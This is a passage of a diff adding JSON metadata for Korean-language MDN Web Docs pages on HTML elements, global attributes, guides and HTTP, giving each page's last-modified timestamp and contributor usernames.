"Web/Guide/Index": { + "modified": "2020-12-07T13:40:57.143Z", + "contributors": [ + "peterbe", + "alattalatta" + ] + }, + "Web/Guide/Mobile": { + "modified": "2019-05-30T06:59:50.297Z", + "contributors": [ + "SDSkyKlouD", + "Seia-Soto", + "xfq" + ] + }, + "Web/Guide/Mobile/Separate_sites": { + "modified": "2019-03-18T21:20:46.007Z", + "contributors": [ + "jinah1000" + ] + }, + "Web/Guide/XML_파싱_및_직렬화": { + "modified": "2019-03-23T22:16:47.020Z", + "contributors": [ + "young-gratia" + ] + }, + "Web/Guide/그래픽": { + "modified": "2020-02-15T07:39:57.101Z", + "contributors": [ + "Netaras", + "hyeonseok", + "narae_lee" + ] + }, + "Web/HTML": { + "modified": "2020-02-08T07:58:05.821Z", + "contributors": [ + "alattalatta", + "enfroze", + "GunhoChoi", + "SphinxKnight", + "Oizys18", + "frankradio", + "wankyu", + "seungha-kim", + "Kaben", + "hyeonseok", + "Donghyun_Lee", + "azunyan3", + "moolow", + "duke.L", + "jongho" + ] + }, + "Web/HTML/Applying_color": { + "modified": "2020-01-20T08:56:57.750Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Attributes": { + "modified": "2020-02-02T11:17:51.213Z", + "contributors": [ + "alattalatta", + "dolmoon", + "azunyan3" + ] + }, + "Web/HTML/Attributes/autocomplete": { + "modified": "2020-10-15T22:26:56.294Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Attributes/crossorigin": { + "modified": "2020-10-15T22:29:00.912Z", + "contributors": [ + "ahnzaz" + ] + }, + "Web/HTML/Block-level_elements": { + "modified": "2020-01-20T08:47:15.147Z", + "contributors": [ + "alattalatta", + "chrisdavidmills", + "haeguri", + "Nickkun", + "Dongju_Lee" + ] + }, + "Web/HTML/CORS_enabled_image": { + "modified": "2020-01-17T14:43:53.038Z", + "contributors": [ + "alattalatta", + "proost" + ] + }, + "Web/HTML/Canvas": { + "modified": "2020-02-05T06:54:04.340Z", + "contributors": [ + "alattalatta", + "chungheepark", + "bluewings", + "cs09g", + "Netaras", + "teoli", + "ethertank", + "dextra", + "Suguni" + ] + }, + "Web/HTML/Canvas/Manipulating_video_using_canvas": { + "modified": "2019-06-05T03:56:50.784Z", + "contributors": [ + "Yeri-Kim" + ] + }, + "Web/HTML/Canvas/Tutorial": { + "modified": "2019-09-23T23:04:58.681Z", + "contributors": [ + "dbwodlf3", + "alattalatta", + "danhojin", + "MuhunKim", + "donghyun", + "AlwaysOnce" + ] + }, + "Web/HTML/Canvas/Tutorial/Advanced_animations": { + "modified": "2020-12-05T09:44:35.831Z", + "contributors": [ + "minthing" + ] + }, + "Web/HTML/Canvas/Tutorial/Applying_styles_and_colors": { + "modified": "2019-10-10T16:32:24.689Z", + "contributors": [ + "kbsbroad", + "sujilee91", + "donghyun", + "Sebastianz", + "AlwaysOnce" + ] + }, + "Web/HTML/Canvas/Tutorial/Basic_animations": { + "modified": "2019-03-25T03:54:23.486Z", + "contributors": [ + "AlwaysOnce" + ] + }, + "Web/HTML/Canvas/Tutorial/Basic_usage": { + "modified": "2019-12-12T22:32:43.483Z", + "contributors": [ + "kbsbroad", + "OkHyeon", + "sujilee91", + "MuhunKim" + ] + }, + "Web/HTML/Canvas/Tutorial/Compositing": { + "modified": "2019-03-23T23:08:47.571Z", + "contributors": [ + "EatChangmyeong", + "AlwaysOnce" + ] + }, + "Web/HTML/Canvas/Tutorial/Compositing/Example": { + "modified": "2019-03-18T21:40:09.058Z", + "contributors": [ + "EatChangmyeong" + ] + }, + "Web/HTML/Canvas/Tutorial/Drawing_shapes": { + "modified": "2019-03-25T03:42:34.299Z", + "contributors": [ + "kbsbroad", + "sujilee91" + ] + }, + "Web/HTML/Canvas/Tutorial/Finale": { + "modified": "2020-12-02T07:47:45.530Z", + "contributors": [ + "chzhclq17" + ] + }, + "Web/HTML/Canvas/Tutorial/Hit_regions_and_accessibility": { + "modified": "2019-03-18T21:18:34.778Z", + "contributors": [ + "kbsbroad" + ] + }, + "Web/HTML/Canvas/Tutorial/Optimizing_canvas": { + "modified": "2020-06-04T04:24:50.578Z", + "contributors": [ + "composite", + "kbsbroad" + ] + }, + "Web/HTML/Canvas/Tutorial/Using_images": { + "modified": "2020-06-18T07:33:39.788Z", + "contributors": [ + "dooyou21", + "cs09g", + "kbsbroad", + "klight1994", + "sujilee91" + ] + }, + "Web/HTML/Canvas/Tutorial/변형": { + "modified": "2019-03-18T21:20:50.794Z", + "contributors": [ + "jinah1000" + ] + }, + "Web/HTML/Element": { + "modified": "2020-03-20T02:38:46.890Z", + "contributors": [ + "alattalatta", + "jongin", + "sangwoo", + "azunyan3", + "teoli", + "arkido82@gmail.com", + "Gilchris" + ] + }, + "Web/HTML/Element/Heading_Elements": { + "modified": "2020-10-15T21:34:54.387Z", + "contributors": [ + "alattalatta", + "Kaben", + "azunyan3" + ] + }, + "Web/HTML/Element/Input": { + "modified": "2020-12-02T21:46:52.605Z", + "contributors": [ + "hKa2020", + "xkitchenkay", + "alattalatta", + "JacieKim0", + "azunyan3" + ] + }, + "Web/HTML/Element/Input/button": { + "modified": "2020-10-15T22:09:45.262Z", + "contributors": [ + "alattalatta", + "JaeWorld" + ] + }, + "Web/HTML/Element/Input/date": { + "modified": "2020-10-15T22:27:19.955Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Element/Input/file": { + "modified": "2020-10-15T21:55:47.622Z", + "contributors": [ + "alattalatta", + "onlydel", + "Neibce", + "Han_jongbae" + ] + }, + "Web/HTML/Element/Input/radio": { + "modified": "2020-10-15T22:28:50.867Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Element/Video": { + "modified": "2020-10-15T21:14:28.732Z", + "contributors": [ + "alattalatta", + "wbamberg", + "pineoc", + "kw8799", + "Kaben", + "hyeonseok", + "teoli", + "Suguni" + ] + }, + "Web/HTML/Element/a": { + "modified": "2020-10-15T21:16:16.368Z", + "contributors": [ + "alattalatta", + "darongE", + "lovefield", + "pelly_ryu", + "Kaben", + "teoli", + "Basix", + "azunyan3", + "Jeongkyu" + ] + }, + "Web/HTML/Element/abbr": { + "modified": "2020-10-15T21:35:00.433Z", + "contributors": [ + "alattalatta", + "Kaben", + "azunyan3" + ] + }, + "Web/HTML/Element/address": { + "modified": "2020-10-15T21:35:31.224Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/applet": { + "modified": "2019-03-23T22:50:49.180Z", + "contributors": [ + "Basix" + ] + }, + "Web/HTML/Element/area": { + "modified": "2020-10-15T21:36:14.537Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/article": { + "modified": "2020-10-15T21:36:01.221Z", + "contributors": [ + "alattalatta", + "Kaben", + "zziuni", + "cmygray", + "naduhy2", + "azunyan3" + ] + }, + "Web/HTML/Element/aside": { + "modified": "2020-10-15T21:36:01.686Z", + "contributors": [ + "alattalatta", + "Kaben", + "azunyan3" + ] + }, + "Web/HTML/Element/audio": { + "modified": "2020-10-15T21:35:42.078Z", + "contributors": [ + "alattalatta", + "wbamberg", + "azunyan3" + ] + }, + "Web/HTML/Element/b": { + "modified": "2020-10-15T21:35:43.116Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/base": { + "modified": "2020-10-15T21:35:38.493Z", + "contributors": [ + "alattalatta", + "project42da", + "azunyan3" + ] + }, + "Web/HTML/Element/bdo": { + "modified": "2020-10-15T21:36:08.183Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/blockquote": { + "modified": "2020-10-15T21:36:04.009Z", + "contributors": [ + "alattalatta", + "darongE", + "azunyan3" + ] + }, + "Web/HTML/Element/body": { + "modified": "2020-10-15T21:34:55.983Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/br": { + "modified": "2020-10-15T21:35:04.503Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/button": { + "modified": "2020-10-15T21:32:25.173Z", + "contributors": [ + "alattalatta", + "sooyoung32", + "azunyan3", + "moolow" + ] + }, + "Web/HTML/Element/canvas": { + "modified": "2020-10-15T21:31:06.686Z", + "contributors": [ + "alattalatta", + "ExE-Boss", + "chrisdavidmills", + "cs09g", + "azunyan3", + "AlwaysOnce" + ] + }, + "Web/HTML/Element/caption": { + "modified": "2020-10-15T21:46:59.213Z", + "contributors": [ + "alattalatta", + "kom2727" + ] + }, + "Web/HTML/Element/center": { + "modified": "2019-03-23T22:40:25.789Z", + "contributors": [ + "leegeunhyeok", + "kimseungdae" + ] + }, + "Web/HTML/Element/cite": { + "modified": "2020-10-15T21:36:08.998Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/code": { + "modified": "2020-10-15T21:34:57.853Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/col": { + "modified": "2020-10-15T21:36:16.768Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/colgroup": { + "modified": "2020-10-15T21:35:24.996Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/command": { + "modified": "2020-10-15T21:44:01.823Z", + "contributors": [ + "alattalatta", + "Rich_Village" + ] + }, + "Web/HTML/Element/content": { + "modified": "2020-10-15T21:35:22.751Z", + "contributors": [ + "alattalatta", + "lovefield", + "azunyan3" + ] + }, + "Web/HTML/Element/data": { + "modified": "2020-10-15T21:35:04.541Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/datalist": { + "modified": "2020-10-15T21:35:24.054Z", + "contributors": [ + "alattalatta", + "mfranzke", + "azunyan3" + ] + }, + "Web/HTML/Element/dd": { + "modified": "2020-10-15T21:35:58.400Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/del": { + "modified": "2020-10-15T21:35:05.638Z", + "contributors": [ + "alattalatta", + "wankyu", + "azunyan3" + ] + }, + "Web/HTML/Element/details": { + "modified": "2020-10-15T21:47:00.885Z", + "contributors": [ + "alattalatta", + "kom2727" + ] + }, + "Web/HTML/Element/dfn": { + "modified": "2020-10-15T21:35:43.719Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/dialog": { + "modified": "2020-10-15T22:00:27.666Z", + "contributors": [ + "alattalatta", + "composite", + "Luavis" + ] + }, + "Web/HTML/Element/div": { + "modified": "2020-10-15T21:36:09.053Z", + "contributors": [ + "alattalatta", + "Kaben", + "azunyan3" + ] + }, + "Web/HTML/Element/dl": { + "modified": "2020-10-15T21:36:02.824Z", + "contributors": [ + "alattalatta", + "leafriend", + "teoli", + "azunyan3" + ] + }, + "Web/HTML/Element/dt": { + "modified": "2020-10-15T21:36:00.823Z", + "contributors": [ + "alattalatta", + "hotsummmer", + "azunyan3" + ] + }, + "Web/HTML/Element/element": { + "modified": "2020-10-15T21:35:22.163Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/em": { + "modified": "2020-10-15T21:36:03.360Z", + "contributors": [ + "alattalatta", + "dooyou21", + "yanhkim", + "azunyan3" + ] + }, + "Web/HTML/Element/embed": { + "modified": "2020-10-15T21:35:32.464Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/fieldset": { + "modified": "2020-10-15T21:35:24.874Z", + "contributors": [ + "alattalatta", + "nambak", + "jiyoungkim2", + "azunyan3" + ] + }, + "Web/HTML/Element/figcaption": { + "modified": "2020-10-15T21:43:34.836Z", + "contributors": [ + "alattalatta", + "krosylight", + "remoted" + ] + }, + "Web/HTML/Element/figure": { + "modified": "2020-10-15T21:48:57.646Z", + "contributors": [ + "alattalatta", + "hyeonseok", + "Kei_" + ] + }, + "Web/HTML/Element/font": { + "modified": "2020-10-15T22:17:06.487Z", + "contributors": [ + "DDark" + ] + }, + "Web/HTML/Element/footer": { + "modified": "2020-10-15T21:35:29.437Z", + "contributors": [ + "alattalatta", + "Kaben", + "azunyan3" + ] + }, + "Web/HTML/Element/form": { + "modified": "2020-10-15T21:35:28.625Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/frame": { + "modified": "2019-03-23T22:33:38.743Z", + "contributors": [ + "voidblue" + ] + }, + "Web/HTML/Element/frameset": { + "modified": "2019-03-23T22:33:38.882Z", + "contributors": [ + "voidblue" + ] + }, + "Web/HTML/Element/head": { + "modified": "2020-10-15T21:34:57.690Z", + "contributors": [ + "alattalatta", + "Capella87", + "azunyan3" + ] + }, + "Web/HTML/Element/header": { + "modified": "2020-10-15T21:35:25.051Z", + "contributors": [ + "alattalatta", + "wbamberg", + "azunyan3" + ] + }, + "Web/HTML/Element/hgroup": { + "modified": "2020-10-15T21:35:25.495Z", + "contributors": [ + "alattalatta", + "Kaben", + "azunyan3" + ] + }, + "Web/HTML/Element/hr": { + "modified": "2020-10-15T21:35:43.957Z", + "contributors": [ + "alattalatta", + "eszett-trash", + "azunyan3" + ] + }, + "Web/HTML/Element/html": { + "modified": "2020-10-15T21:35:02.119Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/i": { + "modified": "2020-10-15T21:35:05.448Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/iframe": { + "modified": "2020-10-15T21:36:06.572Z", + "contributors": [ + "alattalatta", + "jiwoong.heo", + "tjddyd", + "yooasd11", + "fscholz", + "samee", + "wbamberg", + "azunyan3" + ] + }, + "Web/HTML/Element/img": { + "modified": "2020-10-15T21:36:05.245Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/ins": { + "modified": "2020-10-15T21:35:23.776Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/kbd": { + "modified": "2020-10-15T21:36:11.883Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/keygen": { + "modified": "2020-10-15T21:35:22.565Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/label": { + "modified": "2020-10-15T21:35:24.111Z", + "contributors": [ + "alattalatta", + "ohahohah", + "danhojin", + "teoli", + "SphinxKnight", + "jayjin", + "azunyan3" + ] + }, + "Web/HTML/Element/legend": { + "modified": "2020-10-15T21:35:35.660Z", + "contributors": [ + "alattalatta", + "Kaben", + "azunyan3" + ] + }, + "Web/HTML/Element/li": { + "modified": "2020-10-15T21:35:42.374Z", + "contributors": [ + "alattalatta", + "Curzy", + "azunyan3" + ] + }, + "Web/HTML/Element/link": { + "modified": "2020-10-15T21:35:02.482Z", + "contributors": [ + "alattalatta", + "dolmoon", + "highdali", + "azunyan3" + ] + }, + "Web/HTML/Element/main": { + "modified": "2020-10-15T21:36:07.959Z", + "contributors": [ + "alattalatta", + "Kaben", + "azunyan3" + ] + }, + "Web/HTML/Element/map": { + "modified": "2020-10-15T21:36:08.264Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/mark": { + "modified": "2020-10-15T21:36:11.987Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/menu": { + "modified": "2020-10-15T21:43:07.200Z", + "contributors": [ + "alattalatta", + "Kaben" + ] + }, + "Web/HTML/Element/meta": { + "modified": "2020-10-15T21:34:59.137Z", + "contributors": [ + "alattalatta", + "SeonHyungJo", + "dolmoon", + "Narrativi", + "joshua1988", + "azunyan3" + ] + }, + "Web/HTML/Element/meta/name": { + "modified": "2020-10-15T22:32:56.161Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Element/meter": { + "modified": "2020-10-15T21:35:29.583Z", + "contributors": [ + "alattalatta", + "h4nuko0n", + "azunyan3" + ] + }, + "Web/HTML/Element/nav": { + "modified": "2020-10-15T21:35:42.331Z", + "contributors": [ + "alattalatta", + "Kaben", + "naduhy2", + "azunyan3" + ] + }, + "Web/HTML/Element/noscript": { + "modified": "2020-10-15T21:35:26.877Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/object": { + "modified": "2020-10-15T21:35:58.978Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/ol": { + "modified": "2020-10-15T21:36:04.564Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/optgroup": { + "modified": "2020-10-15T21:35:25.818Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/option": { + "modified": "2020-10-15T21:35:34.056Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/output": { + "modified": "2020-10-15T21:35:23.182Z", + "contributors": [ + "alattalatta", + "wbamberg", + "azunyan3" + ] + }, + "Web/HTML/Element/p": { + "modified": "2020-10-15T21:36:04.192Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/param": { + "modified": "2020-10-15T21:36:08.687Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/pre": { + "modified": "2020-10-15T21:35:20.243Z", + "contributors": [ + "alattalatta", + "ehfgk78", + "azunyan3" + ] + }, + "Web/HTML/Element/progress": { + "modified": "2020-10-15T21:35:31.947Z", + "contributors": [ + "alattalatta", + "wbamberg", + "Capella87", + "azunyan3" + ] + }, + "Web/HTML/Element/q": { + "modified": "2020-10-15T21:36:03.565Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/rb": { + "modified": "2020-10-15T22:26:18.112Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Element/rp": { + "modified": "2020-10-15T21:36:19.894Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/rt": { + "modified": "2020-10-15T21:36:12.185Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/rtc": { + "modified": "2020-10-15T22:26:43.575Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Element/ruby": { + "modified": "2020-10-15T21:35:01.356Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/s": { + "modified": "2020-10-15T22:26:19.023Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Element/samp": { + "modified": "2020-10-15T22:26:19.903Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Element/script": { + "modified": "2020-10-15T21:36:05.365Z", + "contributors": [ + "alattalatta", + "baemin0103", + "dolmoon", + "mooyoul", + "azunyan3" + ] + }, + "Web/HTML/Element/section": { + "modified": "2020-10-15T21:35:40.181Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/select": { + "modified": "2020-10-15T21:35:23.669Z", + "contributors": [ + "alattalatta", + "simcheolhwan", + "azunyan3" + ] + }, + "Web/HTML/Element/slot": { + "modified": "2020-10-15T22:26:43.095Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Element/small": { + "modified": "2020-10-15T22:26:17.582Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Element/span": { + "modified": "2020-10-15T22:10:35.443Z", + "contributors": [ + "alattalatta", + "cs09g" + ] + }, + "Web/HTML/Element/strong": { + "modified": "2020-10-15T21:46:35.654Z", + "contributors": [ + "alattalatta", + "Swalloow" + ] + }, + "Web/HTML/Element/style": { + "modified": "2020-10-15T21:35:05.102Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/sub": { + "modified": "2020-10-15T21:36:08.765Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/summary": { + "modified": "2020-10-15T21:35:24.668Z", + "contributors": [ + "everchloe97", + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/sup": { + "modified": "2020-10-15T22:26:41.452Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Element/table": { + "modified": "2020-10-15T21:35:40.562Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/tbody": { + "modified": "2020-10-15T21:35:26.742Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/td": { + "modified": "2020-10-15T21:36:06.972Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/template": { + "modified": "2020-10-15T21:35:23.755Z", + "contributors": [ + "alattalatta", + "cs09g", + "azunyan3" + ] + }, + "Web/HTML/Element/textarea": { + "modified": "2020-10-15T21:35:30.995Z", + "contributors": [ + "alattalatta", + "dajeong", + "azunyan3" + ] + }, + "Web/HTML/Element/th": { + "modified": "2020-10-15T21:35:25.839Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/thead": { + "modified": "2019-03-23T22:56:29.173Z", + "contributors": [ + "azunyan3" + ] + }, + "Web/HTML/Element/time": { + "modified": "2020-10-15T21:35:24.878Z", + "contributors": [ + "alattalatta", + "hyeyeongjeon", + "hyeonseok", + "azunyan3" + ] + }, + "Web/HTML/Element/title": { + "modified": "2020-10-15T21:35:03.053Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/tr": { + "modified": "2019-03-23T22:56:35.949Z", + "contributors": [ + "azunyan3" + ] + }, + "Web/HTML/Element/track": { + "modified": "2020-10-15T21:36:08.366Z", + "contributors": [ + "alattalatta", + "wbamberg", + "azunyan3" + ] + }, + "Web/HTML/Element/u": { + "modified": "2020-10-15T21:43:12.015Z", + "contributors": [ + "alattalatta", + "Kaben" + ] + }, + "Web/HTML/Element/ul": { + "modified": "2020-10-15T21:35:59.634Z", + "contributors": [ + "alattalatta", + "azunyan3" + ] + }, + "Web/HTML/Element/var": { + "modified": "2020-10-15T21:36:09.846Z", + "contributors": [ + "alattalatta", + "chriskwon07", + "azunyan3" + ] + }, + "Web/HTML/Element/wbr": { + "modified": "2020-10-15T22:26:42.955Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Global_attributes": { + "modified": "2020-10-15T21:32:36.557Z", + "contributors": [ + "alattalatta", + "ParkYoungWoong", + "DDark", + "donath-igaw", + "dolmoon", + "lovefield", + "super-atom", + "nonpuritan" + ] + }, + "Web/HTML/Global_attributes/accesskey": { + "modified": "2020-10-15T21:47:24.469Z", + "contributors": [ + "alattalatta", + "cs09g", + "dolmoon", + "frankradio", + "websonic" + ] + }, + "Web/HTML/Global_attributes/autocapitalize": { + "modified": "2020-10-15T22:06:22.272Z", + "contributors": [ + "alattalatta", + "dolmoon" + ] + }, + "Web/HTML/Global_attributes/contenteditable": { + "modified": "2020-10-15T21:54:28.609Z", + "contributors": [ + "alattalatta", + "since2016c" + ] + }, + "Web/HTML/Global_attributes/contextmenu": { + "modified": "2020-10-15T22:06:25.915Z", + "contributors": [ + "alattalatta", + "SphinxKnight", + "dolmoon" + ] + }, + "Web/HTML/Global_attributes/data-*": { + "modified": "2020-10-15T22:06:19.325Z", + "contributors": [ + "alattalatta", + "dolmoon" + ] + }, + "Web/HTML/Global_attributes/dir": { + "modified": "2020-10-15T22:06:24.770Z", + "contributors": [ + "alattalatta", + "dolmoon" + ] + }, + "Web/HTML/Global_attributes/draggable": { + "modified": "2020-10-15T22:06:26.694Z", + "contributors": [ + "alattalatta", + "dolmoon" + ] + }, + "Web/HTML/Global_attributes/dropzone": { + "modified": "2020-10-15T22:06:26.786Z", + "contributors": [ + "alattalatta", + "dolmoon" + ] + }, + "Web/HTML/Global_attributes/hidden": { + "modified": "2020-10-15T22:06:24.774Z", + "contributors": [ + "alattalatta", + "dolmoon" + ] + }, + "Web/HTML/Global_attributes/id": { + "modified": "2020-10-15T22:06:26.429Z", + "contributors": [ + "alattalatta", + "dolmoon" + ] + }, + "Web/HTML/Global_attributes/inputmode": { + "modified": "2020-10-15T22:27:35.161Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Global_attributes/is": { + "modified": "2020-10-15T22:06:26.797Z", + "contributors": [ + "alattalatta", + "dolmoon" + ] + }, + "Web/HTML/Global_attributes/itemid": { + "modified": "2020-10-15T22:06:33.676Z", + "contributors": [ + "alattalatta", + "dolmoon" + ] + }, + "Web/HTML/Global_attributes/itemprop": { + "modified": "2020-10-15T21:47:53.585Z", + "contributors": [ + "alattalatta", + "dolmoon", + "citrus.alice", + "sansolmom" + ] + }, + "Web/HTML/Global_attributes/itemref": { + "modified": "2020-10-15T22:06:33.158Z", + "contributors": [ + "alattalatta", + "dolmoon" + ] + }, + "Web/HTML/Global_attributes/itemscope": { + "modified": "2020-10-15T22:11:40.067Z", + "contributors": [ + "alattalatta", + "jacobkim116" + ] + }, + "Web/HTML/Global_attributes/lang": { + "modified": "2020-10-15T22:32:38.127Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Global_attributes/part": { + "modified": "2020-10-15T22:27:33.647Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Global_attributes/slot": { + "modified": "2020-10-15T22:26:56.066Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Global_attributes/spellcheck": { + "modified": "2020-10-15T22:26:49.343Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Global_attributes/style": { + "modified": "2020-10-15T22:08:32.976Z", + "contributors": [ + "alattalatta", + "JaeWorld" + ] + }, + "Web/HTML/Global_attributes/tabindex": { + "modified": "2020-10-15T21:50:31.167Z", + "contributors": [ + "alattalatta", + "7ylee", + "young-gratia" + ] + }, + "Web/HTML/Global_attributes/title": { + "modified": "2020-10-15T22:26:53.940Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Global_attributes/translate": { + "modified": "2020-10-15T22:26:48.848Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Global_attributes/클래스": { + "modified": "2020-10-15T21:51:13.209Z", + "contributors": [ + "alattalatta", + "dolmoon", + "woojin.jo" + ] + }, + "Web/HTML/HTML5": { + "modified": "2019-03-24T00:11:07.419Z", + "contributors": [ + "teoli", + "Channy", + "Dwchiang", + "vigia122", + "jisung", + "Joone" + ] + }, + "Web/HTML/HTML5/Introduction_to_HTML5": { + "modified": "2019-03-23T23:38:47.847Z", + "contributors": [ + "kybin", + "kuil09", + "juyoungbang", + "teoli", + "Channy" + ] + }, + "Web/HTML/HTML5_문서의_섹션과_윤곽": { + "modified": "2020-01-10T12:08:26.959Z", + "contributors": [ + "alattalatta", + "sudo0272", + "Kaben", + "bombinari", + "naduhy2", + "miname" + ] + }, + "Web/HTML/Index": { + "modified": "2020-01-19T02:45:39.384Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTML/Inline_elements": { + "modified": "2020-02-12T03:45:21.056Z", + "contributors": [ + "SphinxKnight", + "alattalatta", + "teoli", + "Gilchris" + ] + }, + "Web/HTML/Link_types": { + "modified": "2020-10-15T21:56:00.564Z", + "contributors": [ + "alattalatta", + "limjungmok", + "young-gratia" + ] + }, + "Web/HTML/Preloading_content": { + "modified": "2020-10-15T22:35:17.448Z", + "contributors": [ + "sukyology" + ] + }, + "Web/HTML/Quirks_Mode_and_Standards_Mode": { + "modified": "2019-03-18T20:35:03.733Z", + "contributors": [ + "EatChangmyeong", + "chrisdavidmills", + "besapius" + ] + }, + "Web/HTML/Reference": { + "modified": "2020-01-30T22:41:37.544Z", + "contributors": [ + "alattalatta", + "SphinxKnight", + "wbamberg", + "siwabada", + "sangwoo", + "azunyan3", + "moolow" + ] + }, + "Web/HTML/Using_the_application_cache": { + "modified": "2020-10-15T21:26:42.303Z", + "contributors": [ + "alattalatta", + "SemteulGaram", + "Neibce", + "Han_jongbae", + "teoli", + "gomdev" + ] + }, + "Web/HTTP": { + "modified": "2020-02-05T12:20:09.075Z", + "contributors": [ + "alattalatta", + "desty", + "JisooLee", + "yjs000", + "cs09g", + "woniok", + "project42da", + "limkukhyun", + "gaucho1218", + "starkying", + "frankradio", + "Latera", + "daebum-lee", + "devcken", + "sooyoung32", + "hoony", + "groovecoder" + ] + }, + "Web/HTTP/Authentication": { + "modified": "2019-09-03T21:33:24.429Z", + "contributors": [ + "minijaypark", + "rubysoho07", + "chj1768" + ] + }, + "Web/HTTP/Basics_of_HTTP": { + "modified": "2019-03-23T22:27:07.176Z", + "contributors": [ + "peacekimjapan", + "gaucho1218", + "frankradio", + "teoli" + ] + }, + "Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs": { + "modified": "2020-11-23T08:52:22.702Z", + "contributors": [ + "nesez", + "devcken" + ] + }, + "Web/HTTP/Basics_of_HTTP/Data_URIs": { + "modified": "2019-03-23T22:27:00.710Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP": { + "modified": "2019-12-02T03:03:46.499Z", + "contributors": [ + "SeonHyungJo", + "PeterHoo", + "chanspark", + "knight2995", + "devcken" + ] + }, + "Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web": { + "modified": "2019-09-22T04:32:42.283Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Basics_of_HTTP/MIME_types": { + "modified": "2019-03-23T22:27:10.370Z", + "contributors": [ + "Jo-Seungjun", + "DublinCity", + "kangsan_Chang", + "devcken" + ] + }, + "Web/HTTP/Basics_of_HTTP/MIME_types/Common_types": { + "modified": "2020-02-28T13:11:05.868Z", + "contributors": [ + "chrisdavidmills", + "devcken" + ] + }, + "Web/HTTP/CORS": { + "modified": "2020-10-15T21:40:21.422Z", + "contributors": [ + "DeadIntegral", + "starrything", + "alattalatta", + "SphinxKnight", + "dabitk", + "young-do", + "RamiTae", + 